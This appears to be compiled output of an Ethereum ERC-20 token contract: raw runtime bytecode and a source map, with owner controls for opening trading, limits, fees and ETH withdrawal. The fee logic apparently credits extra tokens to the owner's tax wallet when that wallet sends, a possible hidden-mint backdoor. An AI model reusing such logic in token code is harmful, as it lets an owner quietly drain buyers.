65b5f546001600160a01b0316331461047d5760405162461bcd60e51b815260040161047490611743565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ee5760405162461bcd60e51b815260040161047490611743565b5f19600f81905560108190556006805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105625760405162461bcd60e51b815260040161047490611743565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ab90309061059d6009600a61171e565b61043c90633b9aca0061172c565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061f9190611778565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a29190611778565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106ec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107109190611778565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103ba338484610a7b565b5f546001600160a01b031633146107675760405162461bcd60e51b815260040161047490611743565b61077047610c27565b565b5f546001600160a01b0316331461079b5760405162461bcd60e51b815260040161047490611743565b601454600160a01b900460ff16156107f55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610474565b6013546001600160a01b031663f305d7194730610826816001600160a01b03165f9081526001602052604090205490565b5f806108395f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c49190611793565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610919573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093d91906117be565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610a1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610adf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610474565b6001600160a01b038216610b415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610474565b5f8111610ba25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610474565b601454600160b01b900460ff161580610bc45750601454600160a81b900460ff165b15610bd957610bd4838383610c66565b505050565b610be4838383610d0b565b610bd483838361102f565b5f8184841115610c125760405162461bcd60e51b8152600401610474919061150d565b505f610c1e84866117dd565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610c62573d5f803e3d5ffd5b5050565b6001600160a01b0383165f90815260016020526040902054610c899082906117dd565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cb89082906117f0565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a6e9085815260200190565b5f546001600160a01b03848116911614801590610d3557505f546001600160a01b03838116911614155b15610bd45760065460ff1615610e1d576013546001600160a01b03838116911614801590610d7157506014546001600160a01b03838116911614155b15610e1d57325f908152600560205260409020544311610e0b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610474565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610e4857506013546001600160a01b03838116911614155b8015610e6c57506001600160a01b0382165f9081526003602052604090205460ff16155b15610f5257600f54811115610ec35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610474565b60105481610ee5846001600160a01b03165f9081526001602052604090205490565b610eef91906117f0565b1115610f3d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610474565b600e8054905f610f4c83611803565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610f8857506014546001600160a01b038481169116145b8015610f9d5750601454600160b01b900460ff165b8015610fac5750600d54600e54115b8015610fd057506001600160a01b0384165f9081526003602052604090205460ff16155b8015610ff457506001600160a01b0383165f9081526003602052604090205460ff16155b15611029576011548111156110205761102061101b836110168460125461115a565b61115a565b611171565b61102947610c27565b50505050565b5f61103b8484846112e1565b905080156110a757305f90815260016020526040812080548392906110619084906117f0565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0384165f90815260016020526040812080548492906110ce9084906117dd565b909155506110de905082826113e6565b6001600160a01b0384165f90815260016020526040812080549091906111059084906117f0565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114385856113e6565b60405190815260200160405180910390a350505050565b5f818311611168578261116a565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111b7576111b761181b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561120e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112329190611778565b816001815181106112455761124561181b565b6001600160a01b03928316602091820292909201015260135461126b9130911684610957565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112a39085905f9086903090429060040161182f565b5f604051808303815f87803b1580156112ba575f80fd5b505af11580156112cc573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f8061130f6064611309600b54600e54116112fe57600754611302565b6009545b8690611427565b906114a5565b6006549091506001600160a01b0361010090910481169086160361138e5782600a61133b82600261172c565b61134690600a6117f0565b61135091906117dd565b61135a91906117dd565b60065461010090046001600160a01b03165f90815260016020526040812080549091906113889084906117f0565b90915550505b6014546001600160a01b0385811691161480156113b457506001600160a01b0385163014155b156113de57610c1e6064611309600c54600e54116113d457600854611302565b600a548690611427565b949350505050565b5f61116a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bef565b5f825f0361143657505f6103be565b5f611441838561172c565b90508261144e85836118a0565b1461116a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610474565b5f61116a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836115015760405162461bcd60e51b8152600401610474919061150d565b505f610c1e84866118a0565b5f602080835283518060208501525f5b818110156115395785810183015185820160400152820161151d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461156d575f80fd5b50565b5f8060408385031215611581575f80fd5b823561158c81611559565b946020939093013593505050565b5f805f606084860312156115ac575f80fd5b83356115b781611559565b925060208401356115c781611559565b929592945050506040919091013590565b5f602082840312156115e8575f80fd5b813561116a81611559565b5f8060408385031215611604575f80fd5b823561160f81611559565b9150602083013561161f81611559565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167857815f190482111561165e5761165e61162a565b8085161561166b57918102915b93841c9390800290611643565b509250929050565b5f8261168e575060016103be565b8161169a57505f6103be565b81600181146116b057600281146116ba576116d6565b60019150506103be565b60ff8411156116cb576116cb61162a565b50506001821b6103be565b5060208310610133831016604e8410600b84101617156116f9575081810a6103be565b611703838361163e565b805f19048211156117165761171661162a565b029392505050565b5f61116a60ff841683611680565b80820281158282048414176103be576103be61162a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611788575f80fd5b815161116a81611559565b5f805f606084860312156117a5575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117ce575f80fd5b8151801515811461116a575f80fd5b818103818111156103be576103be61162a565b808201808211156103be576103be61162a565b5f600182016118145761181461162a565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561187f5784516001600160a01b03168352938301939183019160010161185a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118ba57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba8fdac28fb3f4f495d85140a74bcadd6937eb8e4d1e1f7e17e23522dd5b46a564736f6c63430008160033

3821:9578:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6192:83;;;;;;;;;;-1:-1:-1;6262:5:0;;;;;;;;;;;;-1:-1:-1;;;6262:5:0;;;;6192:83;;;;;;;:::i;:::-;;;;;;;;7071:186;;;;;;;;;;-1:-1:-1;7071:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7071:186:0;1023:187:1;5036:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5036:55:0;1215:177:1;6469:95:0;;;;;;;;;;;;;:::i;7265:446::-;;;;;;;;;;-1:-1:-1;7265:446:0;;;;;:::i;:::-;;:::i;6378:83::-;;;;;;;;;;-1:-1:-1;6378:83:0;;4661:1;2000:36:1;;1988:2;1973:18;6378:83:0;1858:184:1;6572:117:0;;;;;;;;;;-1:-1:-1;6572:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6665:16:0;6638:7;6665:16;;;:7;:16;;;;;;;6572:117;2852:148;;;;;;;;;;;;;:::i;:::-;;12442:213;;;;;;;;;;;;;:::i;4845:56::-;;;;;;;;;;;;;;;;2638:79;;;;;;;;;;-1:-1:-1;2676:7:0;2703:6;2638:79;;-1:-1:-1;;;;;2703:6:0;;;2445:51:1;;2433:2;2418:18;2638:79:0;2299:203:1;4908:58:0;;;;;;;;;;;;;;;;6283:87;;;;;;;;;;-1:-1:-1;6355:7:0;;;;;;;;;;;;-1:-1:-1;;;6355:7:0;;;;6283:87;;5793:391;;;;;;;;;;;;;:::i;6697:192::-;;;;;;;;;;-1:-1:-1;6697:192:0;;;;;:::i;:::-;;:::i;12763:95::-;;;;;;;;;;;;;:::i;4973:56::-;;;;;;;;;;;;;;;;4201:40;;;;;;;;;;-1:-1:-1;4201:40:0;;;;;;;;12903:493;;;;;;;;;;;;;:::i;6897:168::-;;;;;;;;;;-1:-1:-1;6897:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7030:18:0;;;7003:7;7030:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6897:168;7071:186;7171:4;7188:39;265:10;7211:7;7220:6;7188:8;:39::i;:::-;-1:-1:-1;7245:4:0;7071:186;;;;;:::o;6469:95::-;6522:7;4717:15;4661:1;4717:2;:15;:::i;:::-;4704:28;;:10;:28;:::i;:::-;6542:14;;6469:95;:::o;7265:446::-;7397:4;7414:36;7424:6;7432:9;7443:6;7414:9;:36::i;:::-;7461:220;7484:6;265:10;7532:138;7588:6;7532:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7532:19:0;;;;;;:11;:19;;;;;;;;265:10;7532:33;;;;;;;;;;:37;:138::i;:::-;7461:8;:220::i;:::-;-1:-1:-1;7699:4:0;7265:446;;;;;:::o;2852:148::-;2765:6;;-1:-1:-1;;;;;2765:6:0;265:10;2765:22;2757:67;;;;-1:-1:-1;;;2757:67:0;;;;;;;:::i;:::-;;;;;;;;;2959:1:::1;2943:6:::0;;2922:40:::1;::::0;-1:-1:-1;;;;;2943:6:0;;::::1;::::0;2922:40:::1;::::0;2959:1;;2922:40:::1;2990:1;2973:19:::0;;-1:-1:-1;;;;;;2973:19:0::1;::::0;;2852:148::o;12442:213::-;2765:6;;-1:-1:-1;;;;;2765:6:0;265:10;2765:22;2757:67;;;;-1:-1:-1;;;2757:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12496:12:0::1;:26:::0;;;12533:14:::1;:28:::0;;;12572:20:::1;:28:::0;;-1:-1:-1;;12572:28:0::1;::::0;;12616:31:::1;::::0;1361:25:1;;;12616:31:0::1;::::0;1349:2:1;1334:18;12616:31:0::1;;;;;;;12442:213::o:0;5793:391::-;2765:6;;-1:-1:-1;;;;;2765:6:0;265:10;2765:22;2757:67;;;;-1:-1:-1;;;2757:67:0;;;;;;;:::i;:::-;5845:15:::1;:104:::0;;-1:-1:-1;;;;;;5845:104:0::1;5896:42;5845:104:::0;;::::1;::::0;;;5960:58:::1;::::0;5977:4:::1;::::0;4717:15:::1;4661:1;4717:2;:15;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;5960:58::-;6063:15;;;;;;;;;-1:-1:-1::0;;;;;6063:15:0::1;-1:-1:-1::0;;;;;6063:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6045:55:0::1;;6123:4;6143:15;;;;;;;;;-1:-1:-1::0;;;;;6143:15:0::1;-1:-1:-1::0;;;;;6143:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6045:131;::::0;-1:-1:-1;;;;;;6045:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;6045:131:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;6045:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6029:13;:147:::0;;-1:-1:-1;;;;;;6029:147:0::1;-1:-1:-1::0;;;;;6029:147:0;;;::::1;::::0;;;::::1;::::0;;5793:391::o;6697:192::-;6800:4;6817:42;265:10;6841:9;6852:6;6817:9;:42::i;12763:95::-;2765:6;;-1:-1:-1;;;;;2765:6:0;265:10;2765:22;2757:67;;;;-1:-1:-1;;;2757:67:0;;;;;;;:::i;:::-;12815:35:::1;12828:21;12815:12;:35::i;:::-;12763:95::o:0;12903:493::-;2765:6;;-1:-1:-1;;;;;2765:6:0;265:10;2765:22;2757:67;;;;-1:-1:-1;;;2757:67:0;;;;;;;:::i;:::-;12965:11:::1;::::0;-1:-1:-1;;;12965:11:0;::::1;;;12964:12;12956:48;;;::::0;-1:-1:-1;;;12956:48:0;;5710:2:1;12956:48:0::1;::::0;::::1;5692:21:1::0;5749:2;5729:18;;;5722:30;5788:25;5768:18;;;5761:53;5831:18;;12956:48:0::1;5508:347:1::0;12956:48:0::1;13025:15;::::0;-1:-1:-1;;;;;13025:15:0::1;:31;13064:21;13109:4;13129:24;13109:4:::0;-1:-1:-1;;;;;6665:16:0;6638:7;6665:16;;;:7;:16;;;;;;;6572:117;13129:24:::1;13168:1;13184::::0;13200:7:::1;2676::::0;2703:6;-1:-1:-1;;;;;2703:6:0;;2638:79;13200:7:::1;13025:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13025:223:0;;;-1:-1:-1;;;;;6219:15:1;;;13025:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13222:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13025:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13266:13:0::1;::::0;13297:15:::1;::::0;13259:71:::1;::::0;-1:-1:-1;;;13259:71:0;;-1:-1:-1;;;;;13297:15:0;;::::1;13259:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13266:13:0;::::1;::::0;-1:-1:-1;13259:29:0::1;::::0;6930:18:1;;13259:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13341:11:0::1;:18:::0;;-1:-1:-1;;;;13370:18:0;-1:-1:-1;;;13370:18:0;;;12903:493::o;7719:335::-;-1:-1:-1;;;;;7812:19:0;;7804:68;;;;-1:-1:-1;;;7804:68:0;;7546:2:1;7804:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7804:68:0;7344:400:1;7804:68:0;-1:-1:-1;;;;;7891:21:0;;7883:68;;;;-1:-1:-1;;;7883:68:0;;7951:2:1;7883:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7883:68:0;7749:398:1;7883:68:0;-1:-1:-1;;;;;7962:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8014:32;;1361:25:1;;;8014:32:0;;1334:18:1;8014:32:0;;;;;;;;7719:335;;;:::o;9841:512::-;-1:-1:-1;;;;;9929:18:0;;9921:68;;;;-1:-1:-1;;;9921:68:0;;8354:2:1;9921:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;9921:68:0;8152:401:1;9921:68:0;-1:-1:-1;;;;;10008:16:0;;10000:64;;;;-1:-1:-1;;;10000:64:0;;8760:2:1;10000:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;10000:64:0;8558:399:1;10000:64:0;10092:1;10083:6;:10;10075:64;;;;-1:-1:-1;;;10075:64:0;;9164:2:1;10075:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;10075:64:0;8962:405:1;10075:64:0;10155:11;;-1:-1:-1;;;10155:11:0;;;;10154:12;;:22;;-1:-1:-1;10170:6:0;;-1:-1:-1;;;10170:6:0;;;;10154:22;10150:108;;;10193:32;10208:4;10214:2;10218:6;10193:14;:32::i;:::-;9841:512;;;:::o;10150:108::-;10268:34;10285:4;10291:2;10295:6;10268:16;:34::i;:::-;10313:32;10328:4;10334:2;10338:6;10313:14;:32::i;1440:224::-;1560:7;1596:12;1588:6;;;;1580:29;;;;-1:-1:-1;;;1580:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1620:9:0;1632:5;1636:1;1632;:5;:::i;:::-;1620:17;1440:224;-1:-1:-1;;;;;1440:224:0:o;12663:92::-;12720:10;;:27;;:10;;;;-1:-1:-1;;;;;12720:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12663:92;:::o;11609:219::-;-1:-1:-1;;;;;11711:13:0;;;;;;:7;:13;;;;;;:22;;11727:6;;11711:22;:::i;:::-;-1:-1:-1;;;;;11695:13:0;;;;;;;:7;:13;;;;;;:38;;;;11758:11;;;;;;;:20;;11772:6;;11758:20;:::i;:::-;-1:-1:-1;;;;;11744:11:0;;;;;;;:7;:11;;;;;;;:34;;;;11794:26;;;;;;;;;;11813:6;1361:25:1;;1349:2;1334:18;;1215:177;8062:1771:0;2676:7;2703:6;-1:-1:-1;;;;;8153:15:0;;;2703:6;;8153:15;;;;:32;;-1:-1:-1;2676:7:0;2703:6;-1:-1:-1;;;;;8172:13:0;;;2703:6;;8172:13;;8153:32;8149:1677;;;8206:20;;;;8202:522;;;8287:15;;-1:-1:-1;;;;;8273:30:0;;;8287:15;;8273:30;;;;:83;;-1:-1:-1;8342:13:0;;-1:-1:-1;;;;;8328:28:0;;;8342:13;;8328:28;;8273:83;8247:462;;;8462:9;8433:39;;;;:28;:39;;;;;;8475:12;-1:-1:-1;8399:213:0;;;;-1:-1:-1;;;8399:213:0;;9837:2:1;8399:213:0;;;9819:21:1;9876:2;9856:18;;;9849:30;9915:34;9895:18;;;9888:62;9986:34;9966:18;;;9959:62;-1:-1:-1;;;10037:19:1;;;10030:40;10087:19;;8399:213:0;9635:477:1;8399:213:0;8664:9;8635:39;;;;:28;:39;;;;;8677:12;8635:54;;8247:462;8770:13;;-1:-1:-1;;;;;8762:21:0;;;8770:13;;8762:21;:72;;;;-1:-1:-1;8818:15:0;;-1:-1:-1;;;;;8804:30:0;;;8818:15;;8804:30;;8762:72;:116;;;;-1:-1:-1;;;;;;8856:22:0;;;;;;:18;:22;;;;;;;;8855:23;8762:116;8740:438;;;8931:12;;8921:6;:22;;8913:60;;;;-1:-1:-1;;;8913:60:0;;10319:2:1;8913:60:0;;;10301:21:1;10358:2;10338:18;;;10331:30;10397:27;10377:18;;;10370:55;10442:18;;8913:60:0;10117:349:1;8913:60:0;9048:14;;9038:6;9022:13;9032:2;-1:-1:-1;;;;;6665:16:0;6638:7;6665:16;;;:7;:16;;;;;;;6572:117;9022:13;:22;;;;:::i;:::-;:40;;8992:140;;;;-1:-1:-1;;;8992:140:0;;10673:2:1;8992:140:0;;;10655:21:1;10712:2;10692:18;;;10685:30;10751:28;10731:18;;;10724:56;10797:18;;8992:140:0;10471:350:1;8992:140:0;9151:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8740:438;9243:4;9194:28;6665:16;;;:7;:16;;;;;;9287:6;;-1:-1:-1;;;9287:6:0;;;;9286:7;:47;;;;-1:-1:-1;9320:13:0;;-1:-1:-1;;;;;9314:19:0;;;9320:13;;9314:19;9286:47;:79;;;;-1:-1:-1;9354:11:0;;-1:-1:-1;;;9354:11:0;;;;9286:79;:130;;;;;9398:18;;9386:9;;:30;9286:130;:176;;;;-1:-1:-1;;;;;;9438:24:0;;;;;;:18;:24;;;;;;;;9437:25;9286:176;:220;;;;-1:-1:-1;;;;;;9484:22:0;;;;;;:18;:22;;;;;;;;9483:23;9286:220;9264:551;;;9567:17;;9544:20;:40;9541:205;;;9609:117;9652:51;9656:6;9664:38;9668:20;9690:11;;9664:3;:38::i;:::-;9652:3;:51::i;:::-;9609:16;:117::i;:::-;9764:35;9777:21;9764:12;:35::i;:::-;8187:1639;8062:1771;;;:::o;10361:463::-;10459:12;10474:43;10488:6;10496:7;10505:11;10474:13;:43::i;:::-;10459:58;-1:-1:-1;10534:8:0;;10530:128;;10575:4;10559:22;;;;:7;:22;;;;;:30;;10585:4;;10559:22;:30;;10585:4;;10559:30;:::i;:::-;;;;-1:-1:-1;;10609:37:0;;1361:25:1;;;10634:4:0;;-1:-1:-1;;;;;10609:37:0;;;;;1349:2:1;1334:18;10609:37:0;;;;;;;10530:128;-1:-1:-1;;;;;10670:15:0;;;;;;:7;:15;;;;;:30;;10689:11;;10670:15;:30;;10689:11;;10670:30;:::i;:::-;;;;-1:-1:-1;10731:21:0;;-1:-1:-1;10731:11:0;10747:4;10731:15;:21::i;:::-;-1:-1:-1;;;;;10711:16:0;;;;;;:7;:16;;;;;:41;;:16;;;:41;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;10768:48:0;;;;;;;10794:21;:11;10810:4;10794:15;:21::i;:::-;10768:48;;1361:25:1;;;1349:2;1334:18;10768:48:0;;;;;;;10447:377;10361:463;;;:::o;11836:107::-;11893:7;11925:1;11921;:5;11920:15;;11934:1;11920:15;;;11930:1;11920:15;11913:22;11836:107;-1:-1:-1;;;11836:107:0:o;11951:483::-;5375:6;:13;;-1:-1:-1;;;;5375:13:0;-1:-1:-1;;;5375:13:0;;;12053:16:::1;::::0;;12067:1:::1;12053:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12053:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12053:16:0::1;12029:40;;12098:4;12080;12085:1;12080:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12080:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12124:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12124:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12080:7;;12124:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12114:4;12119:1;12114:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12114:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12189:15:::1;::::0;12157:62:::1;::::0;12174:4:::1;::::0;12189:15:::1;12207:11:::0;12157:8:::1;:62::i;:::-;12230:15;::::0;:196:::1;::::0;-1:-1:-1;;;12230:196:0;;-1:-1:-1;;;;;12230:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12311:11;;12230:15:::1;::::0;12353:4;;12380::::1;::::0;12400:15:::1;::::0;12230:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5411:6:0;:14;;-1:-1:-1;;;;5411:14:0;;;-1:-1:-1;;;;11951:483:0:o;10832:769::-;10957:7;10977:17;10997:161;11154:3;10997:142;11046:15;;11034:9;;:27;11033:95;;11114:14;;11033:95;;;11082:12;;11033:95;10997:7;;:21;:142::i;:::-;:156;;:161::i;:::-;11182:10;;10977:181;;-1:-1:-1;;;;;;11182:10:0;;;;;;11172:20;;;;11169:79;;11241:7;11236:2;11224:9;11241:7;11224:1;:9;:::i;:::-;11217:16;;:4;:16;:::i;:::-;:21;;;;:::i;:::-;:31;;;;:::i;:::-;11202:10;;;;;-1:-1:-1;;;;;11202:10:0;11194:19;;;;:7;:19;;;;;:54;;:19;;;:54;;;;;:::i;:::-;;;;-1:-1:-1;;11169:79:0;11274:13;;-1:-1:-1;;;;;11263:24:0;;;11274:13;;11263:24;:51;;;;-1:-1:-1;;;;;;11291:23:0;;11309:4;11291:23;;11263:51;11259:308;;;11343:212;11551:3;11343:185;11408:16;;11396:9;;:28;11395:114;;11494:15;;11395:114;;;11453:13;;11343:7;;:29;:185::i;11259:308::-;11584:9;10832:769;-1:-1:-1;;;;10832:769:0:o;1296:136::-;1354:7;1381:43;1385:1;1388;1381:43;;;;;;;;;;;;;;;;;:3;:43::i;1672:246::-;1730:7;1754:1;1759;1754:6;1750:47;;-1:-1:-1;1784:1:0;1777:8;;1750:47;1807:9;1819:5;1823:1;1819;:5;:::i;:::-;1807:17;-1:-1:-1;1852:1:0;1843:5;1847:1;1807:17;1843:5;:::i;:::-;:10;1835:56;;;;-1:-1:-1;;;1835:56:0;;12639:2:1;1835:56:0;;;12621:21:1;12678:2;12658:18;;;12651:30;12717:34;12697:18;;;12690:62;-1:-1:-1;;;12768:18:1;;;12761:31;12809:19;;1835:56:0;12437:397:1;1926:132:0;1984:7;2011:39;2015:1;2018;2011:39;;;;;;;;;;;;;;;;;2186:7;2221:12;2214:5;2206:28;;;;-1:-1:-1;;;2206:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2245:9:0;2257:5;2261:1;2257;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789